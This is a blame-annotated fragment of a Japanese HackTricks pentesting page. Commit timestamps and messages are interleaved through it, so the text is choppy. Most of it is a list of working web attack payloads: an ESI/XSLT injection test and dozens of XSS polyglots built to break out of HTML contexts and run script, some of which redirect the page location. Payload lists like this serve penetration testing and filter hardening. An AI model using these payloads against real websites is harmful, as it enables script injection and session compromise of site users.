											2024-01-01 19:09:41 +00:00
+								### 基本テスト
-												GitBook: [master] 2 pages modified
											
										
										
											2021-06-25 20:23:31 +00:00
+								```markup
 								<xsl:value-of select="system-property('xsl:version')" />
 								<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 								```
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### ポリグロス
-												Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu

											
										
										
											2024-01-01 19:09:41 +00:00
+								```markup
 								<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 								```
 								## XSS
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:23:12 +00:00
+								### 基本テスト
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
+								```markup
 								" onclick=alert() a="
 								'"><img src=x onerror=alert(1) />
 								javascript:alert()
 								```
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								### ポリグロス
-												Translated to Japanese

											
										
										
											2023-07-07 23:42:27 +00:00
+								```markup
 								javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 								-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 								jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-												GitBook: [master] one page modified
											
										
										
											2021-06-26 10:02:37 +00:00
+								">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 								" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 								';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 								javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
 								javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
 								javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
 								javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
 								javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
 								javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
 								javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
 								--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
 								/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
 								javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
 								/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
 								-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
 								<svg%0Ao%00nload=%09((pro\u006dpt))()//
 								javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
 								javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
 								javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
 								%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
 								javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
 								javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
 								```
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								{% hint style="success" %}
 								AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								<details>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								<summary>HackTricksをサポートする</summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
 								* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
 								* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>
-												Translated ['generic-methodologies-and-resources/basic-forensic-methodol

											
										
										
											2024-07-19 10:21:08 +00:00
+								{% endhint %}